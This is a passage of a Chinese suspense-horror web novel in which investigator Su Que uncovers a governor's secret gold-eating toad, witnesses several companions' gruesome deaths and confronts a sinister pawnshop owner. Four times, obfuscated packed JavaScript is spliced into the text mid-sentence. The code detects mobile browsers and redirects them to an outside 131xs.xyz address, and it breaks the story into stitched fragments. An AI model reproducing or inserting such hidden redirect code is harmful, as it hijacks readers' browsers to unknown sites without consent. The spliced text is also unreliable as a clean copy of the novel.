任世楚激动起来，用手颤抖的指着宋停：“就就就就……就是那个时候？？？！！！” 宋停对着任世楚皮笑肉不笑地咧了咧嘴角。 姜云姮问道：“库房中……可找到玉麒麟？” “并没有。”话题又回到起点，苏却道，“所以我们现下的任务，依然是要先找到玉麒麟，无论是找到与之相匹配的交换物也好，还是能够探到存放地点也好，若要破局，一定要找到它。” 虽仍有疑云，但是今晚的讨论实在已经太多。 明确了当下任务后，众人心中稍定，但也更感时间紧迫，压力倍增。 再简单商议了几句明日探查的方向，大家都各怀心事地散了。 已经没了一个王纪福，谢天戎到现在也没回来，估计也已经凶多吉少，今日命筹谁是末位也不清楚，只能自己分外小心。 可大家回房还没多久，未熄烛火，众人皆醒之时，楼下传来掌柜熟悉的声音。 他除了告知大家菜市口之事外，还说了一句非常耳熟的话：“字条之示，合共其二，皆已兑取。” 又是字条线索兑罄。 苏却心中冷笑。 所以，人，之所以为人，不同于其他，便是如此。 上一刻还在与你推心置腹，共同分析险境，下一瞬就又可以为了自己要略胜一筹，而不顾一切。 宋停似乎猜中苏却心中所思，躺在地上撇了撇嘴：“人不为己天诛地灭，花点寿命给自己续命，不是人之常情嘛。” 苏却突然想起了什么，平躺着，看着头顶的木板，轻声问：“宋停，你是否记得上一次我留在客栈成为末位的那一日？” 宋停回：“我可不像你，贵人多忘事。” 苏却并不理会他的挤兑，继续问：“他们那时候做了什么，避开了周远至的末位之祸？” 宋停侧过身子，用一只手支起脑袋，朝向床边，道：“那你还记得我放在木盒里骗他们的东西吗？” 苏却在黑暗中沉思了一会儿，道：“你写了一张假字条，放了骨币，还放了破布。” 宋停尴尬一笑：“说真的，我真的是随便放的，但是好像误打误撞，派上了用场。” 苏却侧头，等他继续说。 “字条当初都在赵文安身上，我偷偷摸来看过。一句是‘无魂怎结同心缕，更漏偏催薄命人’，另一句是‘泪烬难书长恨字，离门此后步步惊’。我记得非常清楚，因为金玉明拿着我放的骨币，去收买了更夫，于是那天，术士错过了吉时。而后面赵文安会来抢你的亲，是因为他们要等到新娘离门之后，而盒子里那块布，是从你衣服上撕下来的……” 宋停自嘲一般笑了笑，叹道：“啊呀，当时巧合实在很多，倒读不出原本的意思了，也不知是谁写的酸腐诗句。” 苏却无意识地反复默念了几遍宋停刚才复述的那两句诗。 “提示嘛，有用即可，我胡乱搭配的物品不是也帮上了忙，便宜他们了。”宋停哼了一声，翻了个身，准备入睡。 苏却也不再追问，重新将目光投向头顶的黑暗。 只是心中不禁思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387782|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索，不知这次被兑走的两张字条，又落入了谁的手中。 将自己的寿命用来这样挥霍，究竟是值，还是不值。 …… 苏却一夜未眠，趁着天色刚蒙蒙亮的时候，就起身前去太守府。 府内一片寂静，唯有院兵的脚步声来来回回。她悄无声息地避开，向内院潜行而去。 自第一次从那个坟中出来，她便心中存疑。 大户宅院最讲求风水，岂会在庭院深处修筑孤坟？ 以坟茔作为赌场入口，虽有出其不意、震慑常人之效，但若为赌场而特意修道建坟，未免太过惹眼。 除非，这入口本身，本就是一座坟。 那么，这座坟里，原先埋的究竟是什么呢？ 潜行不久，一片荒僻的院落映入眼帘。 到处都爬满了枯死的藤蔓，坟侧那棵早已枯死的歪脖子老树，更像是被藤蔓活活勒死的一般，树干中空。 她轻轻拨开枯藤，发现其中混杂着一根颜色极为相近的旧麻绳，一拉，麻绳另一端竟系着一把锈迹斑斑的钥匙，从树洞深处被提了上来。 钥匙有了，那锁在哪？ 她触动坟墓机关，推开棺材板，爬下悬梯，走入密道，岔口是四条。 有火把一条的是通向赌场的，没有火把的地方会通向何处？ 她开始摸索前行。 第一条摸了很久，里面还有一个岔口，两条都是死路，只能退回原点。 第二条路倒是宽敞，但行不多久，前方竟隐约传来人声与微弱的光亮——它与那条通往赌场的火把路连通了。 第四条路并非直道，行不出十步，竟又是一个岔口，选择其一后，不远处竟再次出现分支，路径如同迷宫。 她一次又一次地尝试、碰壁、返回、再试……终于抵达一处开阔的所在。 这里并无火把，但隐约有光亮，细细分辨，牢笼里竟然散落着金银珍宝。 甚至还有夜明珠。 苏却用钥匙探入锁眼，一转，成功打开。 她隐约看见墙边挂着一本线装册子，封面上并无任何字样。 翻了几页，光线太暗，无法辨认字迹，于是她在财宝堆里翻找出了夜明珠，举在册子旁边看。 这一页上面写着： …… 昭明六年七月初九，投喂赤金十两，蟾身微温，毫光隐现。 昭明六年八月初一，投喂东海南珠一斛，蟾目开阖一次。 昭明六年九月中，投入人心一颗……神蟾可言，其声如金玉。 …… 那本该送入京城的吞金神蟾，先前应该就被关在这里，并且有人一直在用各种金银珠宝，甚至人的血肉来秘密喂养它……所以，这金蟾，真能食人？ 苏却的目光却落在了一些潦草字迹上： “……帝星飘摇，荧惑高悬，此岂非天意乎？” “……神蟾吐瑞，应在吾身！彼可取而代之！” 这……这是…… 太守的目的，根本不是什么贪图富贵。 他相信这吞金神蟾能实现他的愿望，为他带来“天命”。 这个结论是如此荒诞，却又如此合理。 私藏贡品是死罪，但若成功，回报将是整个天下。 所以他才会如此疯狂，如此不择手段！ 苏却拿着册子，浑身冰凉。 她终于明白，为何太守要不惜一切代价策划这一切。 他想当皇帝！ 32. 窃宝（十三） 窃宝（十三） 按任世楚所说，吞金神蟾是确实存在的贡品，那么，昭明六年也应该是真实的纪年。 当铺库房里壮汉典当品的木牌上，写的是昭明六年；太守的册子上近期的喂养，也是昭明六年…… 如果现下真的是昭明六年，那她，岂非正在八十多年前调查一起盗宝，甚至是谋逆案。 而且，从时间上来说，也对不上。 吞金神蟾的事件与任世楚父亲有关。 但这怎么可能？ 今年应是庆和二十三年。 任世楚约莫二十出头的年纪，算他最大二十九岁，假设其父四十得子，那么现在他的父亲应该是六十九岁。 昭明六年，他的父亲都还未曾出生，如何能成为这一桩惊天秘案的关联者？ 这个念头乍一出现，便让她脊背窜起一股寒意。 呵，苏却心中冷笑。 果然，这种地方，还是谁都信不得。 任世楚曾经那么落寞的神情，那么坚定慷慨的真心换真心，如果真的都是假的，那么他的目的又是什么？ 不过，她现在不是逗留的时候，毕竟找到这里已经花费了很长的时间。 她利落地合上册子塞进怀里，走出牢门转身关上，正打算摸索着走回去。 可那一瞬间，她突然感觉身后有什么东西，在一片黑暗里，一动不动地，在盯着她看。 像是一条巨蟒，用缩成竖线的双眼，在注视着自己的猎物。 苏却全身的肌肉在一瞬间绷紧，右手下意识地摸到了一直藏着的匕首。 她没有立刻回头，而是维持着原有的步伐，自然地继续向前摸索移动。 耳朵捕捉着身后每一丝细微的声响，没有脚步声，没有呼吸声，也没有任何衣袂摩擦声。 死寂。 除了她自己的脚步和心跳。 心念一定，苏却不再犹豫，脚下步伐陡然加快，由潜行转为小跑。 她按照来时的记忆，直到从孤坟中出去，才算是真正松了一口气。 回头看，什么东西都没跟着她。 但在密道花费的时间，比她预想的要长。 出门的时候明明刚天亮，但此地时间不论昼夜都格外快些，只怕现在要立刻赶去菜市口才行。 可她，还是去晚了。 还没到地方，就闻到了令人作呕的血腥味。 其中两具木架上绑着的，正是失踪的王纪福和谢天戎。 王纪福的死状尤为凄惨，或许是因为年纪大了一些，皮肉不再紧实，不似年轻的谢天戎那般受欢迎，他曾经敦厚的身躯，几乎被剔刮得只剩下一层薄薄的肉皮，如同破麻袋般，松松垮垮地耷拉在骨架上。 他的椎骨显然已经无法承受头颅的重量，从中间断裂开来。头颅失去了支撑，仅靠颈部残余的皮肉和筋络勉强牵连着，倒挂在胸前。 那双浑浊的灰白色眼瞳，圆睁着，直勾勾地望着前方的人群。 谢天戎呢，被瓜分得更全面干净，剩的一点，堪堪辨认罢了。 然而，让苏却心头一沉的，是旁边的第三具木架。 上面绑着的，是严丰廷。 这一次，苏却和他们交集甚少，并不熟悉。 只知道他是一个总是缩着肩膀，眼神躲闪，看起来胆小如鼠，但记性不错，像根小尾巴似的，一直跟在直朗泼辣的唐柳一身后的青年。 此刻，他亦是一具冰冷僵硬残缺的尸身，脸上凝固了临死的惊恐。 一日之间，三人殒命。 任世楚脸色惨白，一眼看到苏却便立刻过来，道：“苏却你去哪了？严丰廷他……他在人群里，突然就被几个当铺护卫强行拖走，我们……我们甚至来不及反应。” 苏却看向四周，并没有发现当铺老板的软轿，只看到唐柳一并没有和任世楚站在一起。 她独自一人瘫坐在离木架不远处的肮脏地面上，面对着尸身，就只愣愣地坐着，看着，像是失了魂一般。 “我问过唐姑娘，他们早上是不是在一起，”任世楚顺着苏却的目光看去，“可她……什么也不说……” 苏却看着失魂落魄的唐柳一，心中叹气。 此二人应该认识。 可事情好不容易有点眉目，两人却阴阳相隔，确实惋惜。 离开后，虽不会再有此地的记忆，可死去的人，依然会死去，没死的那一个，依然会悲痛。 一样的结局。 就在这时，一直呆坐在地上的唐柳一猛地抬头，起身，飞快跑出了人群，一瞬间就消失得无影无踪。 而宋停这次罕见地没有凑过来看热闹，他只是远远地站在人群的边缘，像一个真正的旁观者，双手抱在胸前，脸上没有任何明显的表情。 前往太守府的路上，姜云姮拿袖遮面，隐隐啜泣。 任世楚苏却走在旁边，宋停远远跟在后面。 这一次本就人少，一下子死三个，队伍就更加单薄了。 任世楚似乎还是想知道苏却早上的行踪，又开口问起。 苏却并不想回答。 在离太守府只剩几百步的时候，苏却发现周围似乎氛围不大对。 行人似乎在避开什么，经过某个地方下意识加快的脚步，眼神不经意轻飘过去……明明很恐惧，却又好像忍不住心中的那一丝好奇。 突然，从路边巷子里蹿出来一个黑影，直冲他们一行而来。 苏却的手比眼睛更快，本能让她立刻出手阻拦。 电光石火之间，她与唐柳一那双空洞的眼睛有了一瞬的交汇。 那里面没有理智，只有死气沉沉。 也就在这一瞬，一声嘶吼，撕开了日落前街道的寂静。 “滚！” 苏却心中一颤。 她已经知道了，此刻自己的阻挡根本起不了什么作用，于是缓缓松了手。 任世楚见此脸色剧变，惊呼着不可，一个箭步冲上前想要拉住唐柳一的手臂。 但太晚了。 “噗嗤——” 一声闷响，是利刃穿透皮肉的声音。 时间仿佛在这一刻凝滞。 唐柳一手里拿着一柄不知从哪来的刀，从小腹斜向上，完全捅进了姜云姮的身体。 刀尖带着淋漓的鲜血，从姜云姮的背后透了出来，在余晖下泛着刺眼的红。 姜云姮瞪大了她美丽的双眼，右手似乎想要从身上拿出什么，可她只是才将手举到半空，张着嘴，喉咙中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394456|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短促地咳了两声后就断了气，软软瘫倒在地。 可唐柳一的复仇，远未结束。 她仿佛没有看到姜云姮已经毙命，或者说，她根本不在乎对方是死是活。 她整个人如同失去理智的野兽，扑在姜云姮的尸体上，双手死死握住刀柄，一次，一次，又一次地将刀身抽出，再狠狠捅下，抽出，捅下…… “噗……噗……噗……” 利刃反反复复割入皮肉，声音令人头皮发麻。 温热的鲜血疯狂喷溅，染红了唐柳一的双手、脸颊、衣襟，让她看上去如同从血池里爬出来的恶鬼。 她脸上没有任何表情，既没有复仇的快意，也没有杀戮的兴奋，只有一片麻木。 任世楚冲到了近前，试图从后面抱住唐柳一。 “住手！她已经死了！够了！”他大声喊着。 但唐柳一的力气大得惊人，挣扎时，她的手肘狠狠撞在任世楚的胸口，将他撞得踉跄后退，险些摔倒。 周围的围观人群都面带恐惧地向四周逃散去，生怕被这突如其来的虐杀波及。 任世楚阻拦无果，气冲冲地来质问苏却。 “唐柳一疯了你也疯了吗？你为什么松手？为什么不拦着？苏却？！你到底在干什么？” 苏却沉默了很久，才道：“……有仇报仇，杀人偿命，理之自然。” 任世楚冷笑数声，不可置信又连连点头：“……” 这句回答，让任世楚接下来所有的话都哽在了喉咙。 “你看，她死前想拿什么？”苏却指着姜云姮的尸体，问道。 任世楚声音淡漠：“我再拦她一次，你去找找。” 从姜云姮胸前拿出字条的一瞬间，唐柳一的目光就聚在了字条上。这字条已经被血浸透，展开，上面写着一句诗： 千金散尽还复来。 几乎是看清的一瞬间，唐柳一就扑上来，抢走了苏却手上的纸。 随后她就靠着墙根坐着，手里捧着那张纸，放弃了所有攻击。 “你们早上去哪了？”苏却一边继续翻找姜云姮的尸体，一边问任世楚。 “我去的赌场。”任世楚答道，“找寻有价值的东西，应该去问问这些唯利是图的赌徒。他们……好像提了一嘴要去当铺，是不是一起去的我不知道。” “他呢？”苏却用下巴微微点了点宋停的方向，问任世楚。 任世楚摇头：“不清楚。早上分开后，就没见过他。” 从姜云姮的怀里，苏却又摸到了一张纸。这张在更深处，藏得更好些。 “乱花渐欲迷人眼。”她读了一遍上面的句子。 任世楚不解，问道：“这是什么意思？” “很明显，这就是那两张已经被兑罄的五年寿命线索。一张是姜云姮换的，一张是严丰廷换的。姜云姮为了字条，对严丰廷动了手……你去找太守吧，这里，也需要有人善后。”苏却对任世楚道，“我有事，必须离开一趟。” 随后，苏却转身走向宋停，在距离他三步远的地方站定，声音不高，但一字一句分外清晰。 她问他：“一起去当铺看看吗？” 宋停闻言，深深地看了她一眼，只笑了一侧的嘴角：“好啊。” 33. 窃宝（十四） 窃宝（十四） 山风刺骨，天际线残留一道紫红。 其实，再过不久，天就要黑了。 苏却本不应该在这个时辰冒险。 宋停跟在她身后，有些气喘。 他没有底子，身手更谈不上敏捷，好在个子高挑，咬咬牙还算勉强能跟上。 “喂，苏却，你慢点，你是不是……是不是已经知道那玉麒麟在哪儿了？”他的声音断断续续。 “嗯。”苏却脚步未停，“所以，有些事，必须在离开这里之前，问个明白。” 她这次来，压根就没打算隐匿行踪，与宋停刚抵达山顶，便被几名当铺护卫拦住了去路。 为首之人，正是那个面容冷硬的护卫头领。 见到他，苏却了然。 那当铺老板定然在此。 没有任何废话，苏却身形先动，直扑那主护卫。 护卫显然早有防备，沉腰立马，见苏却来势凶猛，不退反进，双掌带着十成十的力道，迎了上来。 苏却不硬接，身子一矮，右手悄然摸向怀中，寒光一闪，短刃在手。 两人瞬间拳来刃往，斗在一处。 苏却的功夫是实打实练的，没有花哨的架子，讲究快、准、狠。 她步法灵活，拳、掌、肘、膝都可以快速出击，出其不意地攻向对手要害。 而匕首短小灵活，又锋利，最适合近身。 那护卫身形力量均占优，但灵活性稍逊，一时间竟被苏却凌厉的攻势逼得有些手忙脚乱。他几次想凭借蛮力抓住苏却，都被她堪堪滑开，反而腋下、关节等处还挨了好几下。 宋停那边则是另一番光景。 他见苏却动上了手，嘴里“哎呀”一声，倒也机灵，绝不往前凑。 一名护卫向他扑去，他抱头便往一块山石后窜去，那护卫挥拳跟上，宋停便绕着石头左躲右闪。 步伐毫无章法，却总能恰巧避开。 他时而弯腰躲过横扫，时而借着树干挡住身体，一会儿缩身藏到一块凸起的山石后，一会儿又连滚带爬地避开一名挥刀砍来的护卫，将一切能利用的都发挥到了极致。 嘴里还不忘大呼小叫：“君子动口不动手！啊——苏却！苏却救我！这边！刀！刀来了！” 那护卫久抓不下，恼羞成怒，拔出了腰间佩刀，直劈宋停面门，宋停眼见避无可避，只能两眼一闭。 就在这时，苏却腾空而起，整个身体几乎横着，凌空旋了半圈，朝着宋停的方向掠去。 她右腿如鞭脚一绷，脚尖正好踢在了那名砍向宋停的护卫的手腕上。那护卫只觉手掌发麻，单刀脱手飞出。她左腿顺势，正中另一名从侧扑来的护卫的胸口，直接将其踹飞撞在当铺的外墙上，发出一声闷响。 身在半空，她仍持匕首与护卫拆了一招，刀锋贴着对方的手臂划过，带起一道血线。 那护卫吃痛，怒吼一声，攻势更猛。 但苏却已然摸清了他的路数，专攻其破绽，时而直刺，时而划抹，逼得那人连连后退。 终于，在他伸臂去够苏却持刃的手腕时，反倒被她寻到了空档。她左手扣住其手，脚下一绊，同时右手反握匕首，捏柄成拳重重砸在其肘内侧。 咔嚓一声，一条胳膊顿时软软垂下。 终于，当铺的门开了，那老板阴沉着脸走了出来。 他被外面的打斗惊动，可看到门口七倒八歪的手下，眉头紧紧皱了起来。 “都住手！” 苏却冷哼一声，只将七零八落的护卫往他面前一推。 “你有什么资格叫我住手？” 林老板的目光在苏却手中的匕首上停留片刻，又看向一旁正拍着胸口顺气的宋停，脸上的怒容忽然收敛，反而笑了。 “苏却啊苏却，”他摇着头，语气有几分感慨，“你实在是个讨人喜欢的人物，胆识、身手、心性，皆是上上之选。可惜，你终究是把这里想得太简单了。” 他顿了顿，用手指点了点他们二人：“果然，还是他会选人。他比你，更适合这里。” “进来吧。”说罢，他侧身让开门口。 “进去就不必了。”苏却拒绝，“那是你的地盘，我不过是有几句话要问你，问完就走，何须劳你再次招待。” 林老板眉眼一挑，点了点头，又对着护卫呵斥道：“还愣着干什么？要你们有何用？连人都拦不住。点灯！搬几张凳子出来。” 那些护卫竟然忍着痛，接骨的接骨，拍灰的拍灰，默默地行动起来。 有人一瘸一拐地进去取来了灯笼和蜡烛，有人搬来了三张看起来还算结实的木凳和一张小茶几，还有人还给他们沏了一壶茶，替三人各自倒了一杯，然后又默默地退到一旁，垂手侍立。 仿佛刚才被打得稀里哗啦的不是他们。 苏却冷眼旁观，开口问道：“所以，他们都不是人？” 林老板没有直接回答，他拂衣在凳子上坐下，端起茶杯，轻呷了一口，回味后反问道：“之前问你的问题，考虑得怎么样？” “没什么好考虑的，我不会留在这里。” “欸，话别说太满。”他放下茶杯，身体微微前倾：“你这才来第二次，以后自然还会有第三次、第四次、第五次……你敢保证你自己每一次都能安然无恙吗？” 苏却迎着他的目光：“生则生矣，若死，就打出一条生路，有何难？” 林老板面色一青，敛起笑容，语气转冷道：“既然你不愿谈这个，那看来就是来谈玉麒麟的了。怎么，找到能拿来交换的宝物了？” 他目光戏谑地瞟向宋停：“不会是用宋停换吧？他，我可要不起。” 宋停听到这话，眼神明显慌乱了一下，下意识地缩了缩，悄悄在茶几下面摆着手。 苏却见了，只觉有几分好笑。 这人，平时嘴贫，满嘴的死啊活啊，毫不在乎，真的不怕死一般。真到了关键时刻，倒是怂得真实。 可林老板的态度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401579|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言语已经很明显，宋停确实和他们都不同，他是适合这里的人，他是，被选中的人。 苏却看了看宋停，平静道：“我什么也没带。” “什么？”林老板愣了一下，随即勃然大怒，道：“苏却，我是有爱才之心，想收你为己用，可你不知好歹软硬不吃三番两次上门闹事，一次两次我都忍了，如今你又想来干什么？你当真以为诡闻当铺任你来去自由吗？” 他霍然起身，咬牙切齿道：“我要取你性命，易如反掌！” “那你现在就杀了我。”苏却声音极其冷漠，仿佛在说无关紧要的东西。 “你……” “不过，你暂时没有办法杀我，因为你没有理由。虽然你们有普通人没有的能力，但是，你们也受着规则的限制。我若知道规则，你们能奈我何？” 他深吸了几口气，强压下怒火，嘲笑道：“你以为我不敢？还是你以为，就凭你那点拳脚功夫就能对付我？你想得太简单了！若我现在就熄灭这些灯火蜡烛，你根本无力相抗！” “我知道”苏却亦笑，“所以我只带上了宋停。” 林老板的笑容僵在脸上，他死死盯着苏却的脸，冷声问道：“你都知道了什么？” 苏却依然没有接他的话，继续道：“直到看到那张字条，我才恍然大悟。千金散尽还复来，重点在散，如何散。散金有两种方式，其一是赌，其二就是当，即死于赌场，或者死于当铺。行差踏错便是万劫不复。如果我没猜错，严丰廷在使用寿命兑换到这张字条后，理所当然地理解为手边的命筹其实是可以花掉的普通金银，他本就没什么坏心，第一能想到就是救人。于是在姜云姮的撺掇之下，今天早上，他们三人就来了你的当铺，想赎王纪福。你同意成交，但并没有放人，因为王纪福是死于规则，没人救得了他，而严丰廷也犯了大忌，和你做了交易。” “但是这张字条，本就不应该站在我们的角度来看。它是在示警，它说的是这里的物欲横流生死博弈，全由你，一手掌握。这一局最开始，太守的目的就是通过这一场赏宝大会，把众人的注意力放在明面的宝，而暗处，才是真正的贡品吞金神蟾。他为了搅乱局面，还额外增加了戏码，玉麒麟失窃。所以众人的眼光全都放在了丢失的玉麒麟身上。可这个贡品，原本是当铺的东西，太守和你达成交易，许你赌场许你当铺许你肆意妄为许你滥杀无辜……他只是纯粹贪，而你是纯粹恶。” “你问我想不想被虐刑的时候，是因为你笃定，我们每一个人都会是你的玩物，都会是这样的下场，除非……找到玉麒麟，太守就不得不放我们离开。对于太守而言，秘密自然是知道的人越少越好，所以你故意放出消息，说宝物在你这里，但这本身就是一个陷阱，只是为了引诱我们前来与你交易……” “因为，那尊玉麒麟，从来就没有离开过太守府。它一直都在楼阁之中，就在我们第一晚看到它的那个白玉石台上，从未移动过半步。所谓的失窃，从头到尾，都是一场骗局。” 34. 窃宝（十五） 窃宝（十五） 林老板听完苏却的结论，脸上非但没有流露出丝毫意外或惊慌，反而悠闲地跷起了腿，又喝了口茶。 “你既然都已经知道了，那就应该直接去找太守对质，还特地跑到我这来浪费口舌做什么？” “太守自然有人会找。可有些事，明明你比他更清楚。”苏却将从地牢中带出来的那本册子取出，放在两人之间的茶几上，道：“说出神蟾的秘密。” 林老板瞥了那册子一眼，放下茶杯，站起身，道：“谜题要自己解开才有意思，你又何必再问我？自己慢慢想吧，我不奉陪了。” 他身边的护卫立刻上前，开始沉默地撤走桌凳茶具。 苏却和宋停也随之起身。 忽然，林老板像是想起了什么，从宽大的袖袍中掏出了一支笔，长度仅约两寸，不知用的什么材料，看起来倒是普普通通。 “不过，话不说死。可如若你日后后悔，改变了主意，还想找我……”他将笔递给苏却，“无论你身在何处，只需用此笔，沾上你自己的血，写下你的名字。我自会知晓。” 他顿了顿，笑得意味深长：“我这生意，讲究的是你情我愿，绝不强人所难。这支笔，算是个信物。” 苏却看着那支笔，没有伸手去接。 这位林老板，其行事作风和掌控的力量，远非太守或她之前遇到的城主可比。 贸然接过这支笔，就是接过了一个恶人的承诺，不知道会引来怎样的因果缠身。 所以，苏却不敢轻易动作。 可宋停见苏却迟疑，他手疾眼快，苏却还来不及阻拦，短笔已经到了他手上。 “这么玄乎，真的假的啊？”他捏着笔杆，翻来覆去地端详，还用手指轻轻弹了弹笔尖。 林老板的眼睛眯了起来，脸上依旧带着笑，“不。你，不能试。” 话音未落，他的手就从宋停指间将笔取了回来。紧接着，他又抓住苏却的手腕，力道不大，只将那支短笔塞进了她的掌心，并推着她的手指合拢，道：“你如果真的用不上，日后我自会收回。” 说罢，他拂袖，竟凭空化作一阵烟尘，直接消失在了苏却和宋停眼前。 虽知此地超乎常理，也见了多次，他们仍是有些震惊。 之前自行接骨的那护卫面如生铁，此时正举着一只灯笼，递给苏却。 离开之前，他告诉苏却，他是人，也不是人，只不过迷失在这里，替别人做事。说完，他便后退几步，与其他护卫一起退入了当铺的阴影之中，留下苏却和宋停站在寒风中，面对着周围一片死寂。 回去的路上，宋停提着灯笼，嘴里又开始絮絮叨叨：“……事先声明啊，我自证清白，对于那个奸商嘴里说的什么选你选我，合适不合适的，本人表示完全不知情，一概不知！这都什么跟什么啊，说得跟抛绣球招亲似的……还有那破笔，神神秘秘的，摸一下都不行？什么金贵玩意儿，瞧把他给宝贝的，我还不稀罕呢……” “宋停。”苏却叫他，打断了他的碎碎念。 “啊？”宋停下意识地应了一声，转头看她。 苏却侧过头，看着宋停，问出了一个早就该问的问题：“你当初……为什么要投湖自尽呢？” 他的脚步顿住，表情晦涩无比，各种情绪交织在一起，痛苦、挣扎、茫然、自嘲……他沉默了很久很久，却笑着开口。 “苏却……你有没有过那样的时候？就是特别想骂人，不管不顾痛痛快快地骂，什么风度、形象、狗屁教养全都抛到脑后，污言秽语张嘴就来，怎么骂怎么爽，哪怕只是骂给自己听。” 苏却认真地想了想，然后摇了摇头。 “是吗……那挺好的。” 宋停笑得更加灿烂。 “可是，如果你的每一天，从睁开眼到闭上眼，都是这样的时刻……而且无论你怎么骂，都对现实毫无改变，你就会觉得，这样的人生，不如算了。” 苏却沉默地走着。 虽然之前宋停没少在她面前嚷嚷自己的真心，可这是她第一次感觉到宋停，有将死之人的枯槁。 过了一会儿，她才开口：“所以……一般都怎么骂？” “看骂给自己听还是骂给别人听……”宋停嘴快，已经回答了半句才被这一本正经的问题问得一怔，侧过头斜睨了苏却一眼，“怎么？堂堂苏大捕头，这是想学点，丰富一下骂人词库？别了别了，我可想象不出来你骂人的样子。” 他笑得很大声，三两下就带过了这个话题。 回到客栈时，夜已深重，大堂里依旧是那几支快烧完的蜡烛。 任世楚独自坐在桌边，看到苏却和宋停从门口进来，脸上闪过一丝惊讶，猛地站了起来。 宋停放下灯笼，长舒一口气，冲到桌边抓起茶壶，也顾不上倒进碗里，直接对着壶嘴，咕嘟咕嘟连灌了好几大口凉水。 他一路上是连跑带喘又是连滚带爬的，山顶那林老板的茶，他又一口也不敢喝，早已口干舌燥，只觉得喉咙冒烟。 连喝几大口，他才缓过气来，抹了把嘴，颇不客气地对着任世楚说道：“怎么啦任兄？看你这表情，是以为我们俩死在外面了，正在这儿琢磨着怎么给我们烧点纸钱是吗？” 任世楚没有理会宋停的贫嘴，他的目光直接落在苏却身上，脸色凝重，声音低沉：“太守死了。” 苏却眉头一蹙：“怎么回事？” 任世楚道：“他是突然发了疯，嘻嘻哈哈地狂笑着，怀里紧紧抱着那只玉麒麟，从楼阁顶层的窗户直接跳了出去，当场殒命。另外……唐姑娘已经不在原地，也一直没回来，不知所踪。” 苏却问到关键：“你找到了玉麒麟？” “嗯。”任世楚点了点头，解释道，“我原本也只是猜测，并不能完全确定。是后来看到了姜姑娘的字条，才最终确认。于是我去找太守理论，质问他为何将我们玩弄于股掌之间。” “那么，关于吞金神蟾，你就没有什么要说的了吗？”苏却的目光锐利，直视着任世楚的眼睛。 “原来，你已经知道了。”任世楚的身体僵了一下，随即他长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408894|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹一声，仿佛陷入了回忆。 “其实……这个东西，我小时候似乎见过一次……当时我年纪尚小，只觉得那金灿灿的蟾蜍样子古怪，并不明白为什么周围那些大人们会对它露出那样狂热贪婪的神情。” “可仅仅只有一个愿望。金银、权力……这人世间不止此二样，还有那么多美好的事与物，一个愿望，算得了什么呢？……” 他没有再往下说，站起身，对着苏却和宋停微微颔首，一脸的疲惫：“时辰不早了，二位今日想必也累了，早些休息吧。” 说完，便转身，步履沉重地走上了楼梯。 苏却看着他上楼的背影，道：“他，还是隐瞒了一些事。” 宋停提着还没烧完的灯笼，跟着上楼，边走边道：“人心是一座坟，埋着些不为人知的秘密。也许不是存心隐瞒，只是不知道该怎么开口，也不知道该从何说起。” 掌柜还是例常出现，说了一番耳熟的话后再次消失。 回房后，苏却把匕首和短笔一齐放在桌子上，她坐在桌边，凝视着这两件物品，沉思了很久。 这一次，初始七人，如今只剩下她和任世楚两人，太守自导自演后又坠楼而亡，事情，就这样结束了。 可这里，到底是什么地方？ 为何要将他们这些看似毫不相干的人卷入其中？ 每一次经历，都像是在破解一个局，但破局之后，等待他们的不是解脱，而是遗忘和下一次的未知。如果是为了让他们知晓某些被掩盖的真相，那又为何在离开之后，要让他们忘记这里发生的一切？ 直到躺在床上，她还在想，这种无力感，让她第一次有一种不知该如何面对的疑惑。 灯笼里的蜡烛，终于熄灭了，留下满室黑暗。 “苏却，你睡了吗？”宋停的声音从地铺的位置传来，在寂静的黑暗中格外清晰。 “还没。”苏却答道。 “再睁眼的时候……应该就……回去了吧。”宋停那边传来窸窸窣窣的声响，不知道在摸索什么。 苏却简短地回应：“嗯。” “苏却。”他叫她。 宋停在黑暗中，声音仿佛近在咫尺。 苏却能感觉到，此刻，他应该正在看着她。 “我现在和你说的这些话，等你醒来以后，可能一个字都不会记得。也可能……我已经，不会再有下一次。” 